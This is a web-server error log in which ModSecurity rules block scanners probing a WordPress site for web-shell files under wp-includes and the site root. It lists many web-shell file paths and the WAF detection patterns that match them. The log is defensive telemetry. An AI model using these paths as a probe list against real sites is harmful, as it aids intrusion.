[Fri Jan 30 22:13:07.042917 2026] [:error] [pid 38980:tid 39000] [client 45.137.126.47:59825] [client 45.137.126.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.47, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aXy8c7YByxUZEaKXdHq3wQAAAg0"]
[Fri Jan 30 22:13:07.616632 2026] [proxy_fcgi:error] [pid 38980:tid 38998] [client 45.137.126.47:59825] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:08.172382 2026] [proxy_fcgi:error] [pid 38980:tid 38992] [client 45.137.126.47:59825] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:08.731567 2026] [proxy_fcgi:error] [pid 38980:tid 39008] [client 45.137.126.47:59825] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:09.283801 2026] [:error] [pid 38980:tid 38996] [client 45.137.126.47:59825] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aXy8dbYByxUZEaKXdHq32QAAAgk"]
[Fri Jan 30 22:13:10.397606 2026] [proxy_fcgi:error] [pid 24712:tid 24744] [client 45.137.126.19:35343] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:10.945194 2026] [:error] [pid 24712:tid 24742] [client 45.137.126.19:35343] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aXy8doRLQrFiQF3h9-thnwAAAYE"]
[Fri Jan 30 22:13:12.638905 2026] [proxy_fcgi:error] [pid 24711:tid 24715] [client 45.137.126.36:51387] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:13.198597 2026] [:error] [pid 24711:tid 24736] [client 45.137.126.36:51387] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aXy8ea5Gwh4var6T23K5ngAAAVY"]
[Fri Jan 30 22:13:15.466627 2026] [proxy_fcgi:error] [pid 47663:tid 47666] [client 45.137.126.9:24463] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:16.023147 2026] [:error] [pid 47663:tid 47680] [client 45.137.126.9:24463] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aXy8fEHGTrgIKCqEYbWqFQAAAk8"]
[Fri Jan 30 22:13:17.129448 2026] [:error] [pid 24712:tid 24752] [client 45.137.126.53:28359] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aXy8fYRLQrFiQF3h9-th0wAAAYs"]
[Fri Jan 30 22:13:18.237648 2026] [proxy_fcgi:error] [pid 38686:tid 38692] [client 45.137.126.8:24877] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:18.797639 2026] [proxy_fcgi:error] [pid 38686:tid 38709] [client 45.137.126.8:24877] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:21.000448 2026] [:error] [pid 38686:tid 38702] [client 45.137.126.8:24877] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aXy8gAoE8BAjgw1_sAV9SQAAAcw"]
[Fri Jan 30 22:13:22.722564 2026] [:error] [pid 24711:tid 24737] [client 45.137.126.27:33657] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aXy8gq5Gwh4var6T23K57gAAAVc"]
[Fri Jan 30 22:13:23.831645 2026] [proxy_fcgi:error] [pid 46913:tid 46954] [client 45.137.126.41:51907] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:25.485306 2026] [:error] [pid 46913:tid 46962] [client 45.137.126.41:51907] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aXy8hTMWmKL8hOfC3uTgngAAAEs"]
[Fri Jan 30 22:13:26.614797 2026] [proxy_fcgi:error] [pid 24712:tid 24763] [client 45.137.126.17:60607] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:27.746616 2026] [proxy_fcgi:error] [pid 24712:tid 24753] [client 45.137.126.17:60607] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:28.296318 2026] [:error] [pid 24712:tid 24762] [client 45.137.126.17:60607] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aXy8iIRLQrFiQF3h9-tiJwAAAZQ"]
[Fri Jan 30 22:13:29.398696 2026] [proxy_fcgi:error] [pid 38686:tid 38703] [client 45.137.126.20:27985] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:30.517802 2026] [:error] [pid 38686:tid 38694] [client 45.137.126.20:27985] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aXy8igoE8BAjgw1_sAV9ygAAAcQ"]
[Fri Jan 30 22:13:31.684756 2026] [proxy_fcgi:error] [pid 24681:tid 24693] [client 45.137.126.44:34935] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:33.340379 2026] [:error] [pid 24681:tid 24684] [client 45.137.126.44:34935] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aXy8jYE368IXQpahn0KUmgAAAQE"]
[Fri Jan 30 22:13:35.031855 2026] [proxy_fcgi:error] [pid 46913:tid 46966] [client 45.137.126.3:57171] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:36.149692 2026] [proxy_fcgi:error] [pid 46913:tid 46966] [client 45.137.126.3:57171] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:36.723617 2026] [proxy_fcgi:error] [pid 46913:tid 46956] [client 45.137.126.3:57171] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:37.864840 2026] [proxy_fcgi:error] [pid 46913:tid 46956] [client 45.137.126.3:57171] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:38.415344 2026] [:error] [pid 46913:tid 46961] [client 45.137.126.3:57171] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aXy8kjMWmKL8hOfC3uTg-wAAAEo"]
[Fri Jan 30 22:13:39.505572 2026] [:error] [pid 24711:tid 24717] [client 45.137.126.48:47729] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aXy8k65Gwh4var6T23K6tgAAAUM"]
[Fri Jan 30 22:13:40.619909 2026] [:error] [pid 24712:tid 24744] [client 45.137.126.27:50683] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aXy8lIRLQrFiQF3h9-tidAAAAYM"]
[Fri Jan 30 22:13:41.711660 2026] [:error] [pid 24681:tid 24704] [client 45.137.126.45:37003] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aXy8lYE368IXQpahn0KU3QAAARU"]
[Fri Jan 30 22:13:42.815628 2026] [proxy_fcgi:error] [pid 46912:tid 46944] [client 45.137.126.39:38657] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:43.369921 2026] [:error] [pid 46912:tid 46929] [client 45.137.126.39:38657] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aXy8lz6yiVW7A9NwFFn5kwAAAAU"]
[Fri Jan 30 22:13:44.467143 2026] [:error] [pid 24681:tid 24694] [client 45.137.126.24:26183] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aXy8mIE368IXQpahn0KU8wAAAQs"]
[Fri Jan 30 22:13:50.079605 2026] [proxy_fcgi:error] [pid 38980:tid 38989] [client 45.137.126.43:60151] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:13:51.217825 2026] [:error] [pid 38980:tid 39005] [client 45.137.126.43:60151] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aXy8n7YByxUZEaKXdHq5gwAAAhI"]
[Fri Jan 30 22:13:52.313230 2026] [:error] [pid 24712:tid 24755] [client 45.137.126.8:40813] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aXy8oIRLQrFiQF3h9-tiswAAAY4"]
[Fri Jan 30 22:13:53.405679 2026] [:error] [pid 24711:tid 24733] [client 45.137.126.41:63985] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aXy8oa5Gwh4var6T23K7NgAAAVM"]
[Fri Jan 30 22:13:54.514634 2026] [:error] [pid 38686:tid 38694] [client 45.137.126.30:60929] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aXy8ogoE8BAjgw1_sAV-gwAAAcQ"]
[Fri Jan 30 22:13:56.169415 2026] [:error] [pid 24711:tid 24733] [client 45.137.126.22:28171] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aXy8pK5Gwh4var6T23K7XAAAAVM"]
[Fri Jan 30 22:13:58.405029 2026] [:error] [pid 24712:tid 24748] [client 45.137.126.16:29957] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aXy8poRLQrFiQF3h9-ti1AAAAYc"]
[Fri Jan 30 22:13:59.519632 2026] [proxy_fcgi:error] [pid 46913:tid 46970] [client 45.137.126.8:30419] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:01.208650 2026] [proxy_fcgi:error] [pid 46913:tid 46967] [client 45.137.126.8:30419] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:01.771038 2026] [:error] [pid 46913:tid 46958] [client 45.137.126.8:30419] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aXy8qTMWmKL8hOfC3uTh3wAAAEc"]
[Fri Jan 30 22:14:03.443624 2026] [proxy_fcgi:error] [pid 38980:tid 38996] [client 45.137.126.22:23323] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:04.028174 2026] [proxy_fcgi:error] [pid 38980:tid 38993] [client 45.137.126.22:23323] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:06.279852 2026] [proxy_fcgi:error] [pid 38980:tid 38998] [client 45.137.126.22:23323] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:06.840483 2026] [:error] [pid 38980:tid 39011] [client 45.137.126.22:23323] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aXy8rrYByxUZEaKXdHq6GgAAAhg"]
[Fri Jan 30 22:14:07.952628 2026] [proxy_fcgi:error] [pid 24712:tid 24748] [client 45.137.126.9:61811] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:09.662684 2026] [:error] [pid 24712:tid 24758] [client 45.137.126.9:61811] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aXy8sYRLQrFiQF3h9-tjLwAAAZA"]
[Fri Jan 30 22:14:10.784362 2026] [:error] [pid 46913:tid 46974] [client 45.137.126.20:47003] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aXy8sjMWmKL8hOfC3uTiPwAAAFc"]
[Fri Jan 30 22:14:14.092595 2026] [:error] [pid 24712:tid 24759] [client 45.137.126.49:27671] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aXy8toRLQrFiQF3h9-tjXQAAAZE"]
[Fri Jan 30 22:14:16.333677 2026] [proxy_fcgi:error] [pid 47021:tid 47039] [client 45.137.126.16:58509] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:16.902618 2026] [proxy_fcgi:error] [pid 47021:tid 47041] [client 45.137.126.16:58509] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:17.465630 2026] [proxy_fcgi:error] [pid 47021:tid 47033] [client 45.137.126.16:58509] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:18.037626 2026] [proxy_fcgi:error] [pid 47021:tid 47038] [client 45.137.126.16:58509] AH01071: Got error 'Primary script unknown'
[Fri Jan 30 22:14:20.840513 2026] [:error] [pid 47021:tid 47036] [client 45.137.126.16:58509] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aXy8vNap1k13UdZUNSRhdAAAAM0"]
[Fri Jan 30 22:16:21.285800 2026] [:error] [pid 46914:tid 46998] [client 45.137.126.43:33665] [client 45.137.126.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/pridmag/"] [unique_id "aXy9NVgSfJ4kZxNKlb_qNwAAAJQ"]
[Sat Jan 31 00:12:57.464011 2026] [proxy_fcgi:error] [pid 59661:tid 59705] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:57.851372 2026] [proxy_fcgi:error] [pid 59661:tid 59692] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:58.171305 2026] [proxy_fcgi:error] [pid 59661:tid 59694] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:58.474223 2026] [proxy_fcgi:error] [pid 59661:tid 59709] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:58.741293 2026] [proxy_fcgi:error] [pid 59661:tid 59703] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:59.006229 2026] [proxy_fcgi:error] [pid 59661:tid 59699] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:59.289916 2026] [proxy_fcgi:error] [pid 59661:tid 59696] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:59.553968 2026] [proxy_fcgi:error] [pid 59661:tid 59713] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:12:59.819113 2026] [proxy_fcgi:error] [pid 59661:tid 59711] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:13:00.110837 2026] [proxy_fcgi:error] [pid 59661:tid 59695] [client 20.100.196.146:2842] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:13:00.394098 2026] [:error] [pid 59661:tid 59704] [client 20.100.196.146:2842] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doko.php"] [unique_id "aXzYjJw_qINw5Uk-43W6hQAAAE0"]
[Sat Jan 31 00:13:29.855565 2026] [:error] [pid 59660:tid 59668] [client 20.100.196.146:18968] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sst.php"] [unique_id "aXzYqSwTX33V6TPUqxPGLAAAAAQ"]
[Sat Jan 31 00:13:34.392131 2026] [:error] [pid 59748:tid 59775] [client 20.100.196.146:25564] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/easy.php"] [unique_id "aXzYrmlxTen-ziDxotRlqwAAANg"]
[Sat Jan 31 00:13:36.954332 2026] [:error] [pid 59748:tid 59771] [client 20.100.196.146:27227] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/easy.php"] [unique_id "aXzYsGlxTen-ziDxotRlvQAAANQ"]
[Sat Jan 31 00:13:40.193694 2026] [:error] [pid 59748:tid 59766] [client 20.100.196.146:2253] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/easy.php"] [unique_id "aXzYtGlxTen-ziDxotRlwwAAAM8"]
[Sat Jan 31 00:13:45.748090 2026] [:error] [pid 59662:tid 59725] [client 20.100.196.146:34833] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/easy.php"] [unique_id "aXzYuQ7k73dlTgySEcg89AAAAIc"]
[Sat Jan 31 00:13:47.617509 2026] [:error] [pid 59661:tid 59708] [client 20.100.196.146:25550] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rss4.php"] [unique_id "aXzYu5w_qINw5Uk-43W60gAAAFE"]
[Sat Jan 31 00:13:52.019507 2026] [:error] [pid 59748:tid 59765] [client 20.100.196.146:25598] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rss4.php"] [unique_id "aXzYwGlxTen-ziDxotRl1wAAAM4"]
[Sat Jan 31 00:13:54.421444 2026] [:error] [pid 59660:tid 59681] [client 20.100.196.146:32099] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rss4.php"] [unique_id "aXzYwiwTX33V6TPUqxPGWAAAABE"]
[Sat Jan 31 00:13:57.810314 2026] [:error] [pid 59662:tid 59742] [client 20.100.196.146:18989] [client 20.100.196.146] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-rss4.php"] [unique_id "aXzYxQ7k73dlTgySEcg8_gAAAJg"]
[Sat Jan 31 00:14:01.306142 2026] [proxy_fcgi:error] [pid 59661:tid 59701] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:01.596922 2026] [proxy_fcgi:error] [pid 59661:tid 59697] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:01.859753 2026] [proxy_fcgi:error] [pid 59661:tid 59712] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:02.255762 2026] [proxy_fcgi:error] [pid 59661:tid 59711] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
[Sat Jan 31 00:14:02.518098 2026] [proxy_fcgi:error] [pid 59661:tid 59714] [client 20.100.196.146:2209] AH01071: Got error 'Primary script unknown'
